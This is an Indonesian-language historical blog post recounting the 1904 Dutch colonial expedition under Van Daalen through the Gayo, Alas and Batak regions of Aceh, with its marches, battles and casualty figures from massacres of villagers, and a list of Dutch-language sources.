Perintah komandan barisan berkaitan dengan tujuan operasi tersebut terutama mengadakan penyelidikan ke daerah Raja Cik Bebesen di Raja Buket dan Kejurun Syiah Utama, yang di sana susunan pemerintahan yang diperlukan dirancang, melanjutkan perundingan atas kemungkinan pembangunan jalan kereta antara Danau Laut Tawar ke Peusangan dan jalur pertama untuk jalan itu diperpanjang. Di samping itu, tujuannya adalah untuk mengunjungi dan bila diperlukan juga berpatroli di wilayah Raja Linggo, mencoba berhubungan dengan tetua dan kemungkinan juga merancang aturan yang diperlukan di wilayah ini.

Mereka harus maju ke Gayo-Lues; di wilayah ini merebak perlawanan dari semua kepala desa (Reje, Cik, dan Muda); kemungkinan juga tetua-tetua desa yang lebih kecil yang bersama dengan induk maupun cabangnya akan berontak; sehingga, terutama di kampung inti Reje Petiabang, tetua terpilih tersebut (kemungkinan termasuk penghulu Si Sue Belas) bersama-sama mengumumkan bahwa Kejurun Beden disahkan oleh pemerintah sebagai Kejurun Petiambang di Gayo-Lues, yang juga dianggap pemerintah Hindia-Belanda sebagai kepala wilayah atas seluruh daerah dan keinginan kuat dari pemerintah adalah mengakhiri pemisahan kekuasaan dan pertempuran yang terjadi serta penghentian sukarela dan penentuan terakhir kejurun saat itu harus dilakukan. Hal itu juga memungkinkan Gayo-Lues mengadakan meronda sebagian besar wilayahnya yang berpenghuni, merancang susunan pemerintahan secara lebih lanjut, mencari hubungan kepada barisan yang sudah ditarik dari Kuala Simpang ke Pendeng; memberikan perintah terhadap komandan barisan serta informasi yang diberikan dan petunjuk kepada perwira yang bertanggung jawab atas urusan administrasi di bagian timur laut Reje Petiambang; strategi di wilayah Kejurun Abaq sepenuhnya bertumpu pada pandangan dan kebijakan LetKol. Van Daalen.

Lebih jauh memasuki Tanah Alas pasukan Belanda disambut perlawanan, banyak informasi yang dikumpulkan mengenai struktur pemerintahan dan administrasi serta pengaturan lainnya jika diperlukan ataupun diinginkan. Apakah memindahkan permusuhan dari Tanah Alas ke Tanah Batak yang berdekatan, atau karena urusan politik ataupun lainnya yang diperlukan Tanah Batak untuk mencapai pantai, itulah akhir dari barisan komandan yang tunduk pada persetujuan pemerintahan yang berwenang. Di samping itu, jika mungkin nasihat khusus akan menguntungkan pencarian di Singkil atas keberadaan orang Tionghoa dan penduduk non-pribumi lainnya, yang menurut pesan tersebut akan memperbaiki senjata api dan diperdagangkan di sana atas nama ketua bende Aceh seperti Teuku Ben Blang Pidie, dan juga yang dilakukan penduduk Tanah Alas dan Gayo atas senjata api dan amunisi.

Ekspedisi (8 Februari-23 Juli 1904)

Pada tanggal 8 Februari pasukan dikapalkan dan mendarat di Lhokseumawe keesokan harinya, lalu semua penumpangnya berbaris menaiki trem ke Bireuen dan menempuh perjalanan selama 4 jam, setelah itu berbaris ke bivak Teupin Blang Mane dan tiba pukul setengah tujuh. Di hari berikutnya mereka berbaris kembali, pada tanggal 18 Februari melewati beberapa ngarai dan di tengah hari mereka tiba di Tunjang yang berada pada ketinggian 900 m dan bivak dipindahkan ke Kampung Pertek; penduduk tidak menunjukkan sikap bermusuhan, beberapa penduduk yang sakit diperiksa oleh petugas kesehatan dan pada tanggal 14 Februari ekspedisi dilanjutkan. Antara tanggal 16-20 Februari bivak dipindahkan ke Kong, dan waktu tersebut dimanfaatkan oleh komandan barisan untuk mengumpulkan para tetua, mengadakan pembahasan dan menyusun ketetapan pemerintahan di wilayah Laut dan meronda lebih lanjut daerah tersebut. Antara tanggal 22-28 Februari, dibangun bivak di Kuta Rayang dan di sini dirancanglah rencana pemerintahan.

Selama ekspedisi berikutnya, mereka kehilangan arah dan harus menaiki batang pohon yang tinggi untuk menentukan arah yang benar. Di samping itu, barisan tersebut harus menghadapi medan tak rata yang berat dan ngarai yang curam sehingga harus mendaki dinding gunung menggunakan tangan dan kaki, sementara batang dan akar menjadi pegangan arah. Berulang kali mereka harus menghindari aliran sungai yang deras (20-30 kali sehari). Pada tanggal 9 Maret, mereka mencapai Kela, esoknya mereka berbaris ke Rerebe, dan menghadapi perlawanan pertama di sini. Musuh kehilangan 3 orang dan satu-satunya yang terluka dapat dihalau dan sebagian dikejar, dan bivak dipindahkan ke kampung tersebut hingga tanggal 13 Maret. Setelah wilayah tersebut dibersihkan oleh patroli itu, banyak anggota yang tewas, dan besoknya perjalanan dibagi dalam 2 kelompok; kesatuan yang berjumlah 16 orang dipimpin menuju Pasir; kesatuan di bawah pimpinan Let. Winter, Hans Christoffel dan Kempees beranggotakan 14 orang dan dipimpin melintas sepanjang Krueng Tripa, Paser setelah menghadapi perlawanan berat sementara musuh juga banyak yang dibantai; pada tanggal 18 Maret, pasukan tersebut berjalan ke Gemuyang dan Peparik Gaib; setelah perlawanan sebuah keluarga yang fanatik tersebut yang di dalamnya banyak pula wanita yang turut perang akhirnya jatuh juga; dari sini juga banyak jatuh korban dari pihak musuh dengan korban sebanyak 308 orang, di antaranya 168 orang laki-laki, 92 orang wanita dan 48 orang anak-anak. Sedangkan yang luka-luka sebanyak 47 orang, di antaranya seorang pria, 26 orang wanita dan 20 orang anak-anak. Hanya 12 orang yang tertangkap hidup-hidup, terdiri atas 3 orang wanita dan 9 orang anak-anak.

Di saat yang sama perlawanan masih berlanjut: Belanda terus-terusan memborbardir perkampungan di wilayah bergunung-gunung tersebut; dari laporan yang datang diketahui bahwa penduduk yang dibakar semangatnya oleh ulama sudah lama mempersiapkan diri untuk menghadapi pertempuran sengit itu. Pada tanggal 22 Maret, sebuah perkampungan yang luas ditaklukkan setelah pertempuran yang lama dan sengit; Durin, Kuta Lintang, Reje Silo dan Kuta Blang telah ditaklukkan Belanda; di sini banyak pula korban yang berjatuhan dari pihak musuh. Kini Kuta Lintang akan dijadikan bivak permanen, sebagai pusat kampung-kampung sekitarnya yang mungkin masih bergolak. Lalu barisan tersebut menuju ke daerah tersebut hingga tanggal 4 Juni, ketika usulan ekspedisi ke Tanah Alas disetujui. Selama masa tersebut, kampung-kampung ini jatuh: Badak (4 April), Cane Uken dan Tungel (21 April), Penosan (11 Mei), dan Tampeng (18 Mei); setiap hari diadakan ronda dan penyergapan malam hari juga banyak membunuh musuh. Setelah jatuhnya Tampeng, perlawanan di Gayo Lues dapat dipatahkan, dan para tetua suku memenuhi panggilan komandan barisan pada tanggal 2 Juni. Dalam pertemuan resmi itu, Belanda mengumumkan bahwa mereka harus menaati pihaknya. Program tersebut berakhir, dan pada tanggal 4 Juni, ekspedisi menuju Tanah Alas dijalankan.

Di hari berikutnya, barisan tersebut melanjutkan perjalanan. Pada tanggal 10 Juni, penduduk yang melawan di kampung N. Tualang dihalau dan dikejar hingga Penampaan, lalu bivak dipindahkan. Besoknya, mereka memasuki bagian tengah Tanah Alas, yang sebagian diperkuat namun sudah ditinggalkan oleh penduduk sehingga Kampung Lawe Sagu diduduki dan tetap di sana hingga tanggal 16 Juni; tak hana oleh pemborbardiran dan ronda yang terus-menerus ke wilayah tersebut, namun laporan yang masuk juga mengatakan bahwa penduduk Tanah Alas, yakni Kejuron Bambel, bukan Batu Mbulan, telah mempersiapkan diri menghadapi serangan itu, dan dibakar semangatnya oleh sejumlah alim ulama. Pada tanggal 14 Juni, dengan dikuasainya benteng Kuta Rih setelah perlawanan yang amat berat. Tindakan keras dilakukan dengan membunuh juga 189 orang wanita, dan 59 orang anak-anak. Yang luka-luka sebanyak 51 orang, antaranya 25 orang wanita dan 31 orang anak-anak, yang tertangkap hidup-hidup dua orang wanita dan 61 orang anak-anak.

Kampung Bambel yang berada di atas Krueng Singkil dijadikan bivak; dari tempat itu, berturut-turut kubu di Likat dan Kute Lengat Baru jatuh pada tanggal 20 dan 24 Juni setelah perlawanan berat. Dalam pertempuran di Likat, pasukan Belanda membantai tanpa pandang bulu, sehingga 432 orang mati terbunuh, di antaranya 220 pria, 124 wanita, dan 88 orang anak-anak. Yang luka-luka berat dan ringan sebanyak 51 orang, di antaranya 2 orang pria, 17 orang wanita dan 32 orang anak--anak, yang tertangkap hidup-hidup hanya anak-anak sebanyak 7 orang. Dengan jatuhnya kubu pertahanan tersebut, perlawanan di Krueng Bambel dipatahkan, sementara Kejuron Batu Mbulan - di mana terdapat 2 kubu, Batu Mbulan dan Tanjung yang telah ditinggalkan tepat pada waktunya - tetap tenang dengan pimpinan Berakan, putera Reje Mbulan, tanpa sikap permusuhan apapun. Pada tanggal 29 Juni, tetua Bambel dan Batu Mbulan muncul bersama rombongannya, yang setelah itu ditahan oleh komandan barisan.

Seusai menyelesaikan tugas di Tanah Alas, Van Daalen meneruskan perjalanan ke Tanah Karo pada tanggal 1 Juli, dan mencapai Tanah Pakpak. Di hari berikutnya barisan tersebut meneruskan perjalanan dan melakukan penyerbuan, selanjutnya tiada lagi perlawanan. Pada tengah hari tanggal 20 Juli ekspedisi tersebut berakhir di Sibolga setelah perjalanan panjang. Esoknya pasukan tersebut berlayar menaiki kapal uap Albatros dan Gier dan tiba pada tengah hari tanggal 23 Juli di Ulee Lheue, dan disambut oleh Gubernur Aceh dan Jajahannya bersama pejabat lainnya.

Referensi :

  • Van Daalen GCE. 1902. Journaal van de commandant der marechaussees colonne ter achtervolging van de pretendent-sultan in de Gajolanden. Lampiran ekstra Indisch Militair Tijdschrift. Seri I. Hal. 31-86.
  • Kempees JCJ. 1905. De tocht van overste van Daalen door de Gajo-, Alas- en Bataklanden van 8 februari tot 23 juli 1904. Amsterdam: J.C. Dalmeijer.
  • 1905. Verslag van de tocht naar de Gajo- en Alaslanden in de maanden februari tot en met juli 1904 onder luitenant-kolonel van de generale staf G.C.E. van Daalen. Met 4 kaarten en 17 bijlagen. Lampiran ekstra Indisch Militair Tijdschrift no. 14.
  • 1905. Geneeskundig rapport betreffende de excursie naar de Gajo- en Alaslanden onder luitenant-kolonel G.C.E. van Daalen. Lampiran ekstra Indisch Militair Tijdschrift no. 15.
  • Id.Wikipedia.org
Read more »

 
Powered by Blogger